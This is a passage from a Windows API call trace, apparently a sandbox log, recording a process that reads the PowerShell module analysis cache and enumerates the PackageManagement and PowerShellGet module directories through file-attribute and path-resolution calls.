lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0113.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe558) returned 1 [0113.703] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.703] GetFileType (hFile=0x3c8) returned 0x1 [0113.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe554) returned 1 [0113.703] GetFileType (hFile=0x3c8) returned 0x1 [0113.704] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe5cc, lpOverlapped=0x0 | out: lpBuffer=0x2771f4c*, lpNumberOfBytesRead=0x59fe5cc*=0x1000, lpOverlapped=0x0) returned 1 [0113.715] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771b1b, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59fe5d4, lpOverlapped=0x0 | out: lpBuffer=0x2771b1b*, lpNumberOfBytesRead=0x59fe5d4*=0x1, lpOverlapped=0x0) returned 1 [0113.715] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe5c0, lpOverlapped=0x0 | out: lpBuffer=0x2771f4c*, lpNumberOfBytesRead=0x59fe5c0*=0x1000, lpOverlapped=0x0) returned 1 [0113.716] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771b19, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x59fe5d4, lpOverlapped=0x0 | out: lpBuffer=0x2771b19*, lpNumberOfBytesRead=0x59fe5d4*=0x13, lpOverlapped=0x0) returned 1 [0113.716] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe5d4, lpOverlapped=0x0 | out: lpBuffer=0x2771f4c*, lpNumberOfBytesRead=0x59fe5d4*=0x1000, lpOverlapped=0x0) returned 1 [0113.717] ReadFile (in: hFile=0x3c8, lpBuffer=0x2771f4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe5d4, lpOverlapped=0x0 | out: lpBuffer=0x2771f4c*, lpNumberOfBytesRead=0x59fe5d4*=0x4fd, lpOverlapped=0x0) returned 1 [0113.718] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x59fe434, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.793] CloseHandle (hObject=0x3c8) returned 1 [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2a8 [0113.794] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.794] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.794] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.794] FindClose (in: hFindFile=0x6fd2a8 | out: hFindFile=0x6fd2a8) returned 1 [0113.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feae0) returned 1 [0113.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59feda4 | out: lpFileInformation=0x59feda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feadc) returned 1 [0113.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0113.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2783fb0 | out: lpFileInformation=0x2783fb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0113.796] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0113.798] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0113.810] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0113.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0113.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0113.812] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2a8 [0113.812] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.812] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.812] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.812] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.812] FindClose (in: hFindFile=0x6fd2a8 | out: hFindFile=0x6fd2a8) returned 1 [0113.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.813] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.813] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0113.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0113.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0113.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0113.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2a8 [0113.815] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.815] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.815] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.815] FindClose (in: hFindFile=0x6fd2a8 | out: hFindFile=0x6fd2a8) returned 1 [0113.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feae0) returned 1 [0113.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59feda4 | out: lpFileInformation=0x59feda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feadc) returned 1 [0113.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0113.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x278db50 | out: lpFileInformation=0x278db50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0113.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, 